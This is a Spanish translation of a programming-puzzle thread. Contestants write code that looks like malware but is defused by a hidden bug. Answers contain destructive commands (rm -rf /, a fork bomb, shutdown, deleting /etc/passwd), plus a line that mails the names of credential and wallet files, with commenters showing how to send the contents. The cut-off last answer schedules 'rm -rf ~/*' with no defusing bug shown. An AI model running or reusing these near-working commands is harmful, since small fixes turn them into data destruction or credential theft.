Trolling the troll [cerrado]

184

Un troll te ha capturado y te está obligando a escribir malware (definido como un programa que daña la computadora que lo ejecuta). El troll puede leer y comprender el código, pero no es tan bueno para detectar errores.

Su objetivo es escribir un programa que:

  1. Parece malware; es decir, un programador principiante que lea el código estará convencido de que el código causa daños a la computadora que lo ejecuta.
  2. En realidad no hace daño en absoluto.

NOTA: El troll solo lee el código, no los comentarios. Por lo tanto, el código en sí debe ser lo suficientemente claro y convincente.

EJEMPLO (bash):

rm - rf /home

Este ejemplo parece rm -rf /homeque elimina todas las carpetas de inicio del sistema, pero en realidad, debido al espacio antes del rf, esto no funcionará y solo causará un mensaje de error inofensivo.

Esta es una solución aceptable pero no es muy buena, porque el error es bastante fácil de detectar.

Por otro lado, un programa complejo e ilegible tampoco será una muy buena solución, ya que no se verá como malware.

Una buena solución debería ser lo suficientemente legible como para convencer al lector de que es malware, pero contener un error que es difícil de detectar y lo hace inofensivo.

Este es un concurso de popularidad, por lo que gana el código con más votos a favor.

Erel Segal-Halevi
fuente
160
Siento que estás tratando de engañarme para que pegue rm - rf /en mi caparazón ...
undergroundmonorail
19
Bash rm -rf /. A menos que el sistema sea muy antiguo , requerirá --no-preserve-root:)
user80551
10
-1 porque a) code-trolling y lo más importante b) Estoy muy preocupado por cualquier pregunta relacionada con la creación de malware (a pesar de que es falso, bordea muy cerca).
Gareth
13
@Gareth No es realmente malware, sin embargo (que generalmente trata de ocultarse y / o robar datos en estos días), es en su mayoría intentos completamente obvios de eliminar cosas, que cualquier programador principiante podría escribir con poco esfuerzo.
Bob
29
rm - rf /¡No es un ejemplo válido! Puede causar daños si tiene un archivo llamado rfen el directorio actual
gnibbler

Respuestas:

139

Golpetazo

He ido por el otro lado. En lugar de eliminar todo en tu disco duro, lo llenaré con basura.

Este script crea una carpeta y luego catreúne continuamente todos los archivos y los coloca en uno nuevo, agregando el valor de ls -alpor si acaso (y para que el archivo inicial tenga algo).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

excepto...

/ bin / bash / (en lugar de / bin / bash) es muy poco probable que sea un intérprete válido. Este es solo un error tipográfico mío. Y, dado que "el shebang es técnicamente un comentario, el troll lo ignorará"

James Webster
fuente
56
+1. La primera línea de un guión es un punto ciego para muchos programadores (incluido yo mismo).
Erel Segal-Halevi
44
y el shebang es técnicamente un comentario, por lo que el troll lo ignorará
Brian Minton
14
+1 por abusar del comentario sin comentarios :) eso realmente no es obvio
masterX244
37
Ejecutarlo como bash whatever.sharruinará tu truco ...
Darkhogg
8
@Darkhogg, ¡qué suerte! Lo guardé evil.commandpara que el troll pueda hacer doble clic para abrirlo (al menos en Mac)
James Webster
114

Haskell

¡Consulte esta página del manual , removeDirectoryRecursiveelimina un directorio con todos sus contenidos!

import System.Directory
main = return (removeDirectoryRecursive "/")

El código correcto sería main = removeDirectoryRecursive "/"
La mainfunción debe devolver un concepto de hacer algo. removeDirectoryRecursive "/"devuelve un concepto de borrar su sistema de archivos, pero la returnfunción (sí, es una función), envuelve su argumento en un concepto ficticio de devolver ese valor.
Así que terminamos con un concepto de devolver un concepto de limpiar su unidad. (Oye, me encantan los conceptos). El tiempo de ejecución de haskell ejecuta el concepto devuelto mainy descarta el valor devuelto, que en nuestro caso es un concepto de borrar su sistema de archivos.

mniip
fuente
85
+1. No pude entender el error incluso después de haber leído tu explicación ...
Erel Segal-Halevi
3
Según tengo entendido, este es un error de puntero (apuntando al puntero de la función en lugar de apuntar a la función). Muy bien, los programadores principiantes generalmente caen fácilmente en trucos de punteros.
Gaborous
3
Básicamente, esto sería similar a return removeDirectoryRecursive;lo opuesto a return removeDirectoryRecursive();en C, ¿es correcto?
3Doubloons
44
@ user1121352 No. La función en sí se llama, pero no puede eliminar un archivo porque es pura. En cambio, proporciona una acción IO, que cuando se devuelve main, se ejecuta y elimina el archivo. returnSin embargo, el uso explícito de la función crea una acción IO cuyo propósito es simplemente crear el valor.
mniip
44
@Cthulhu returnno tiene nada que ver con returnotros idiomas (o incluso con "devolver" un valor de una función). Tampoco los valores de tipo IO atienen mucho que ver con las funciones en otros idiomas. Entonces, la analogía es bastante ondulada
Niklas B.
103

PHP

Aquí hay un script PHP recursivo que intenta eliminar todos los archivos de su sitio web. Podría llevar un tiempo completarlo si el sitio web es bastante grande, así que sea paciente ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Solo un pequeño problema ...

No hay un comando delete () en PHP. La secuencia de comandos fallará tan pronto como encuentre este comando, pero no se mostrará ningún mensaje de error porque los informes de error se suprimieron al prefijar este comando con @ . La imagen GIF parpadeante da la impresión de que algo está sucediendo, cuando absolutamente nada está sucediendo en absoluto.

ossifrage aprensivo
fuente
31
^ hasta donde entiendo: no hay una función delete (), el manual solo dice que esta es una "entrada falsa" para cualquiera que busque la función correcta (desvincular). Eso no significa que haya algún tipo de redirección "automática" en PHP.
Erti-Chris Eelmaa
93
@ user11153 fue trolleado.
basher
34
Mira, pensé que la razón por la que los errores serían ignorados y la ejecución continuaría era porque era PHP.
Zoey
17
Creo que usar una función aleatoria inexistente es un poco obvio (¿ deleteeliminar archivos? No hay razón para suponer que engañaría a alguien). ¿Qué tal en su unlⅰnklugar (que usa U + 2170 en lugar de "i")?
Konrad Rudolph
18
@KonradRudolph Una función nombrada deletepara eliminar archivos es completamente creíble en PHP. Lo único que no es creíble es que si fuera real, habría otras 3 o 4 formas de hacerlo y todas, excepto la que tenga el nombre más extraño, tendrían serias fallas de seguridad.
Brendan Long
93

Perl (Unix)

Elimina todos los archivos en el sistema.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Caracteristicas

  • Esto es válido Perl. Incluso se compila y se ejecuta con -wy use strict!

  • No hay objeciones como las de C ++ delete. unlinkRealmente es la función para eliminar un archivo, rmdirrealmente elimina un directorio, etc.

  • Maneja correctamente los directorios profundamente anidados para los cuales el nombre de ruta absoluto puede exceder la longitud máxima del sistema, cambiando a cada directorio para usar rutas relativas. Además, no se quedará sin identificadores de directorio, ya que lee y cierra el directorio antes de recurrir.

Revelación

En Unix, la primera entrada en el directorio raíz es normalmente "." entonces el programa realizará una recursión infinita de chdir (".") hasta que se quede sin memoria y se bloquee.

Notas adicionales

Esto fue más difícil de acertar de lo esperado. Si no utiliza el enfoque chdir, eventualmente obtendrá un nombre de ruta que es demasiado largo. ¡Entonces -d devuelve falso y la recursión infinita se rompe, y los archivos pueden borrarse! Puede ocurrir un error similar si mantiene abiertos los identificadores de directorio; eventualmente se acaba, opendir falla, killdir regresa y la eliminación comienza a suceder.

Nate Eldredge
fuente
45
"¡Entonces -d devuelve falso y la recursión infinita se rompe, y los archivos pueden borrarse!" ¿aprendiste eso de la manera difícil?
Niklas B.
44
@NiklasB .: Afortunadamente probé una versión ficticia :)
Nate Eldredge
Esperaba que dicho código pueda eliminar solo carpetas vacías, pero no archivos ...
Qwertiy
3
"En Unix, la primera entrada en el directorio raíz es normalmente". "". Entonces, ¿otro malware solo para Windows?
Alexander
1
@timmyRS: El programa se bloqueará. El sistema seguirá funcionando bien.
Nate Eldredge
81

Shell de una sola línea

Esto robará todas las contraseñas, claves privadas, bitcoins, etc. de la víctima.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail [email protected]

Revelación:

Esto puede parecer que envía por correo electrónico todos esos archivos al troll, pero en realidad solo envía sus nombres de correo electrónico.

Nate Eldredge
fuente
44
Para enviar por correo los contenidos, las cat, heado taillos comandos tendrían que estar involucrados en alguna parte.
Agi Hammerthief
77
Todavía filtrando datos sin importar qué. ¿Es esto trolling los trolls trolls?
Kyle Kelley
-exec cat '{}' \; | …
Martin Ueding
@queueoverflow-print0 | xargs -0 cat |
Quantum
1
Lo obtuve sin el spoiler después de leer el código 2-3 veces.
nyuszika7h
74

Lote / CMD

Salvar

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

y hacer que lo ejecuten con los parámetros de cada una de las unidades de la computadora.

% 0 es siempre el primer parámetro: el nombre del archivo. Después de esto viene el conjunto de parámetros reales, pero ya se ha eliminado a sí mismo, por lo que no continuará.

kitcar2000
fuente
104
También se basa en el divertido comportamiento de Batch de cerrar el archivo y volver a abrirlo para leer la siguiente línea para cada línea ...
Bob
8
DEL %0no funcionará a menos que la extensión del archivo se especifique en la línea de comando y que el script se ejecute dando su ruta completa o que esté en el mismo directorio. DEL "%~f0"resolvería ambos problemas y sería resistente a los espacios en cualquier lugar dentro del camino. Además %10y hacia arriba no existe: se traduce en %1seguido de un literal 0.
Jon
14
+1. Incluso si el troll entiende lo que hace "DEL% 0", puede convencerlo de que esto es solo para borrar la evidencia, y no hace daño ya que el archivo por lotes permanece en la memoria hasta que finalice su ejecución (lo cual es falso, como Bob dijo).
Erel Segal-Halevi
2
Un troll inteligente aún pensaría que es extraño emitir el comando de auto borrado al comienzo del archivo (en lugar de al final), a menos que tenga en cuenta cuán notoriamente propensos a errores son los scripts por lotes.
Agi Hammerthief
10
@Bob No tenía idea de que el lote hizo eso ... eso es horrible.
w4etwetewtwet
48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Bueno, el malware original no explotará su computadora, pero puede ser molesto.

Esto es inofensivo porque:

El evalromperá el bucle infinito y modificará el mensaje.

Michael M.
fuente
40
Te votaré, pero tienes 1337 rep.
scrblnrd3
55
¡Así que por favor no! :)
Michael M.
@scrblnd se ha ido D:
Riking
11
Vota negativamente las malas respuestas hasta que vuelvas a ello.
David Starkey
44
Sólo para explicar a los demás, atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') ejecutará el siguiente: "InfiniteLoop = false; evilMessage = evilMessage.replace (" spam " "amor");"
Mohammed Joraid
45

Java

Que los dioses me perdonen por someterme a tus miserables demandas, trol.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec no invoca un shell, por lo que la expansión global nunca ocurre y el comando intentará eliminar sin éxito un directorio de inicio llamado literalmente "*"

ese otro chico
fuente
1
Entonces, ¿cuál es mi directorio de inicio que se llama '*'? ;)
Vorac
66
Honestamente, esta es una de las mejores respuestas de Java. Esto requiere una comprensión bastante sólida de las (muchas) caídas de Runtime.exec(). +1.
Qix
¿Tiene Java un equivalente real a la system()función de c ?
SuperJedi224
@ SuperJedi224 No, tiene que especificar /bin/sh -co cmd /co lo que sea de forma manual. Tiene sentido ya que nunca se sabe lo que haría un comando en un nuevo sistema operativo.
ese otro tipo
37

C

Como no lee los comentarios, debería hacerlo:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

Versión C ++

Gracias a DragonLord por esto.

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Agregue esto a la carpeta de inicio y reinicie la computadora.

Cómo funciona:

?? / es un trigrafo y agregará la siguiente línea en el comentario, así que básicamente no hará nada. Nota: no intente esto, los trigrafos pueden estar desactivados en algunos compiladores por defecto y deben estar activados para que esto funcione.

Mhmd
fuente
Si en algún compilador puede funcionar, ¿es un verdadero curricán?
Antonio Ragagnin
44
No, pero en una situación real, preferiría no troll a un troll con ese código (¡no quiero dañar a un troll!)
Antonio Ragagnin
2
@AntonioRagagnin Si esto funciona en cualquier compilador, ese compilador tiene errores. Sin embargo, la mayoría de los compiladores modernos advertirán sobre el uso de trigrafos (pero aceptan y compilan el código).
Konrad Rudolph
8
Así que si el Troll no lee los comentarios y su solución es hacer que el software malicioso en un comentario, ¿no significa eso todo el trol ve es una función maincon return 0?
David Starkey
1
El ??/es realmente un viejo truco ... lo siento.
Isiah Meadows
33

Java

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Usar un carácter de escape (el \ n antes de ntoskrnl.exe es una nueva línea en lugar del N normal)

masterX244
fuente
20
Si no escapa a las otras barras diagonales inversas, el error puede parecer aún menos visible. El troll podría pensar que el lenguaje no usa escapes de barra invertida
3Doubloons
2
@ 3Doubloons ¿No dejaría de compilarse el código en ese caso?
Neil
2
@Neil: Buen punto. No lo haría, pero si el troll nos deja ir tan pronto como esté satisfecho con su lectura, estamos en claro
3Doubloons
29
new File("C:\ntldr").delete();
Egor Skriptunoff
3
@EgorSkriptunoff Me tomó más de un tiempo darme cuenta de que XP no era una variante de XD.
Justin
31

GOLPETAZO

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t saldrá después de leer y ejecutar un comando. ¡Este script no imprime y todos los archivos están seguros!

O lo siguiente PERO LEA EL SPOILER ANTES DE CORRER

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

Por demanda popular ... #!/bin/bash -tsaldrá después de leer y ejecutar un comando. No ejecute esto bash -xya que ignorará -ty ejecutará los comandos en el script.

JOgden
fuente
SPOILERS Estoy un poco confundido ... ¿cuál es la diferencia entre set -ty exit? La página de manual de Bash dice que set -tsale después de "un comando", pero parece contar el setcomando en sí como ese comando y salir inmediatamente.
Kyle Strand
66
Si hay comandos adicionales en la misma línea que set -t (por ejemplo, separados por un punto y coma o doble ampersand, etc.), se ejecutarán. En este caso, una primera línea set -t; echo "hahaha deleting files.."haría eco de ese texto y luego saldría.
JOgden
2
Ah Gracias. No me di cuenta de que alguna vez hubo una diferencia en el comportamiento ;y una nueva línea.
Kyle Strand
44
#!/bin/bash -t¿quizás?
Neil
2
@JOgden es una lástima que bash no haga el mismo truco de análisis de shebang que perl hace (si corres perl foo.ply foo.pl comienza #!somethingendingin/perl -flags, perl actuará como si fuera invocado -flags)
hobbs
30

Pitón

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

tres comillas "" "inician una cadena multilínea en Python

Antonio Ragagnin
fuente
55
Incorrecto, comienzan cadenas de varias líneas docs.python.org/2/tutorial/introduction.html#strings
user80551
12
Vi el problema literalmente dentro de los cinco segundos de haber visto la respuesta, y ni siquiera sé Python.
The Guy with The Hat
66
Buena idea, con el problema de que si el troll usa resaltado de sintaxis, lo detectará.
o0 '.
1
Creo que el troll promedio ve un código malicioso aleatorio en Internet y simplemente lo copia en otro foro.
Antonio Ragagnin
1
Bien, tengo experiencia con Python y no vi la falla. Usar 4 citas puede haberme engañado.
Gaborous
29

re

Este programa es válido y se ejecuta sin errores. Genera una función de eliminación en un nuevo hilo, que elimina el rootdirectorio.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Pero nada se elimina ...

porque en D, una variable declarada en el ámbito del módulo es thread-local por defecto. Las mainfunciones lo establecen en "/", pero los hilos de generación tienen una copia vacía, por lo rmdirRecurseque no se llama a la función.

biozica
fuente
1
¡Bueno! Logré atrapar el error en este, aunque no sé D.
Erel Segal-Halevi
1
"una variable global es un subproceso local de forma predeterminada" Eso es una contradicción allí
Niklas B.
@NiklasB. ¿Cuál es la contradicción?
biozic
No es una "variable global" entonces. ¿Quizás "variable declarada en el nivel superior" es una mejor descripción?
Paŭlo Ebermann
Sí, editado! Es menos ambiguo. Sin embargo, no es una contradicción, al menos léxicamente hablando.
biozic
25

C (Unix)

Agregar algunos anuncios nunca perjudicó a nadie.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: es una etiqueta, el goto salta a la etiqueta sin el código peligroso. : V

ilmale
fuente
55
Me las arreglé para detectar este :)
Erel Segal-Halevi
17
El punto y coma en la primera URL es bastante fácil de detectar en esta fuente. ¡Pero es creativo!
CompuChip
12
goto se considera útil
1
Lo noté porque no hay punto y coma después del goto. Si lo cambiaste a goto http;//www.trolling.com;(en ambos puntos), podría haberlo perdido.
wchargin
2
No se compilaría de todos modos, porque no hay printfunción.
nyuszika7h
24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

No se muestra ninguna alerta. Dado que JavaScript no requiere ;al final de las líneas, se inserta automáticamente después de returnconvertirse return;. Luego undefined, que es falso, se devuelve en lugar del "objeto" (que de hecho se analiza como una declaración de bloque).

Oriol
fuente
3
Tentado a +1 solo por el uso de "verdaderamente" y "falsedad";)
CompuChip
1
+1 ya que este "defecto" en JS me ha pillado desprevenido en numerosas ocasiones ... Tuve que releerlo un par de veces para verlo
Mark Ormston
12
@NigelNquande el punto y coma no causa la falla, el salto de línea sí. El retorno y el objeto que se supone que debe devolverse están en líneas separadas, por lo que el objeto nunca se devuelve. Para "arreglar", elimine el salto de línea para que se leareturn {
Dave Forber
3
¡Esperando que el troll no minimice el código!
Mohammed Joraid
2
UglifyJS dice WARN: Dropping side-effect-free statement [-:4,11]y vuelve function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
nyuszika7h
22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Cambia la alerta de destrucción por cualquier acción destructiva desagradable que quieras usar.

Revelación:

Aunque parece que la configuración está configurada para eliminar ... ¡ y lo es ! la declaración 'var' dentro de la función es "Alzada" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html y, como resultado, es realmente falsa al ingresar a la función.

scunliffe
fuente
Buen truco, pero ¿por qué reiniciarías la bandera?
Mohammed Joraid
El "reinicio" fue solo un ejemplo ... podría ser cualquier variable donde la asignación sea válida ... solo si tiene el prefijo 'var' puede / tendrá consecuencias no deseadas.
scunliffe
16

Java

¡Solo eliminemos algunos archivos importantes!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Oculto en el comentario de bloque hay un extra} {fuera del comentario. Eso coloca la eliminación de archivos en un bloque de inicialización de instancia separado, que se ejecuta antes del constructor. En ese momento, importantFile sigue siendo nulo.

Joe K
fuente
16
Me las arreglé para detectar este :)
Erel Segal-Halevi
17
Esto sería muy, muy obvio si el troll no lee los comentarios.
ApproachingDarknessFish
66
Elegí interpretar "el troll no lee los comentarios" como "el troll salta los comentarios de forma similar a como lo haría un humano si se saltara los comentarios". En este caso, puede ser fácil que por error se pierda por error que esos dos caracteres están realmente fuera del comentario.
Joe K
1
Este fue el único que resolví antes de leer la explicación, ¡pero buen trabajo!
nrubin29
15

Bash, C, Linux

Tal vez no sea exactamente un malware, pero seguro puede ser parte de uno :)

¡Es una hazaña increíble que puede darte root en cualquier máquina Linux! Shhh, ¡no le digas a nadie que lo tenemos!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

¡Ahora ejecuta el script y serás root! ¡Puedes asegurarte de usar whoami!

De hecho, solo engaña a todas las aplicaciones que tiene UID = 0 (este es el ID de usuario raíz).

El código está escrito por Lcamtuf, fuente: http://lcamtuf.coredump.cx/soft/ld-expl

mik01aj
fuente
+1. Muy buen truco. Todavía no entiendo completamente cómo funciona.
Erel Segal-Halevi
@ErelSegalHalevi: consulte stackoverflow.com/questions/426230/what-is-the-ld-preload-trick para obtener más detalles sobre LD_PRELOAD.
mik01aj
2
Siga leyendo fakeroot(1), que es una biblioteca que intercepta llamadas a varias funciones del sistema POSIX, engañando a la persona que llama para que crea que tiene acceso de lectura (falso) y de escritura (falso) a todo el sistema. En realidad, no otorgará (no puede) en realidad estos permisos, pero cuando el programa, por ejemplo, llama a la función "falsa" chmoden un archivo y cambia los permisos, fakeroot recordará estos permisos para que las statllamadas devuelvan los permisos actualizados. Algunas distribuciones usan esto para permitir que el sistema de compilación del paquete cree archivos con root:rootpropiedad.
sleblanc
1
Creo que es lcamtuf : lcamtuf.coredump.cx/soft/ld-expl - al menos recuerdo que estuvo allí desde los 90
viraptor
13

golpetazo

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

Hay un error de sintaxis en la línea "fork-bomb". Después de { , debe haber un espacio. Sin él, el script falla porque la definición de la función no es seguida por el token { por sí mismo.

Konrad Borowski
fuente
2
¡Debe agregar una nota de precaución (en el spoiler, tal vez) de que esto no se ejecute usando kshya que la bomba fork no es un error de sintaxis allí!
devnull
@ Dennis: Sin relación, no he visto eso. Pero interesante hilo, para ser honesto. Sé cómo funciona el análisis en bash, y es por eso que no lo uso :-).
Konrad Borowski
11

Emacs Lisp

Primero uno simple. Este no hace nada. En realidad está tratando de eliminar elementos iguales a: recursivo de la lista devuelta por directory-files. No va a eliminar ningún archivo.

(delete :recursive
    (directory-files "/"))

Aquí hay uno que podría confundir incluso a los veterinarios.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

Esto está a solo 1 carácter de eliminar su directorio raíz.

emacs lisp permitirá que jsut sobre cualquier cosa sea el nombre de un símbolo (variable, función, macro, etc.). Está bien usar Unicode en el nombre de sus símbolos y eso es lo que está sucediendo aquí.

setqpuede tomar cualquier número de argumentos (setq a 3 b 4)es como hacer a = 3; b = 4; pero (setq a 3 b)también es válido y está haciendo a = 3; b = nulo;

El valor de retorno de 'setq' es el valor asignado a la última variable. 4 y nil respectivamente en los ejemplos.

(setq a 3 b)es exactamente lo que está sucediendo en el código, pero en lugar de b, estoy usando un carácter de espacio en blanco unicode. Estoy asignando el valor nil a una variable llamada cuyo nombre es el carácter unicode 0x2001. Debido a esto, nulo es devuelto por setq y la condición para el ciclo while nunca es verdadera. Elimina ese carácter de espacio en blanco y funcionará bien.

Jordon Biondo
fuente
10

Solo otro hacker perl.

Escribí este en 2002 , mientras salía en Perlmonks y, en general, solo intentaba llevar mi conocimiento de Perl lo más lejos posible. No lo edité en absoluto, pero aún se ejecuta.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Si no recuerdo mal, el BEGINbloque se ejecuta en primer lugar, sin importar dónde se encuentre en el código. Reemplaza lo @INCque determina de dónde carga Perl sus bibliotecas con una subrutina (generalmente es un conjunto de rutas, pero esto está permitido). La subrutina es en realidad el bloque de datos ofuscado, que está haciendo algo de magia regexp + eval. Luego, cuando el código golpea require File::Path;(no hubiera funcionado use), este sub se ejecuta y solo imprime "Solo otro hacker perl", como es tradición, y sale. El resto del código nunca se alcanza.

Stoffe
fuente
1
Wow, me tomó un tiempo entender lo que hace este código (pero no leí el spoiler). Decodifiqué este bloque de llamada regex (es el mismo método que he usado en codegolf.stackexchange.com/a/23871/3103 ), y me gusta cómo contiene el exitcomando (con punto y coma sin sentido después, pero no es que importe )
Konrad Borowski el
Jeje, tuve que resolverlo yo mismo, después de todo tiene 11-12 años. El punto y coma probablemente sea solo para hacer que todo se alinee ordenadamente.
Stoffe
9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

A primera vista, $conditiones falso, pero el =operador tiene prioridad sobre and, por lo que la condición es verdadera. Entonces el mal nunca se hace.

zozo
fuente
8

C ++ con Boost

Esto eliminará todos los archivos en el sistema de archivos

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

En realidad no lo hará. deleteen C ++ se usa para liberar memoria asignada por newy no para eliminar archivos y directorios. Lo más probable es que el programa se bloquee con una falla de segmentación al intentar desasignar la memoria asignada por Boost, pero para entonces, habré escapado del cautiverio del troll.

3Dbloblones
fuente
+1. Esto no es fácil de detectar, ya que incluso se compila sin errores.
Erel Segal-Halevi
2
¿No es la primera línea problemática un comportamiento indefinido? En cuyo caso, de hecho, podría eliminar todos sus archivos.
aschepler
1
@aschepler: "UB podría eliminar todos sus archivos" es una explicación divertida de que no puede predecir lo que sucederá al invocar a UB, pero generalmente no es una posibilidad. Si el troll tuviera un compilador que borre los discos duros en UB, no nos haría escribirle un malware
3Doubloons
2
el resaltado de sintaxis le daría una pista al troll aquí ...
mik01aj
8

Java

Esto simulará descargar RAM, pero eliminará el directorio de inicio del usuario.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
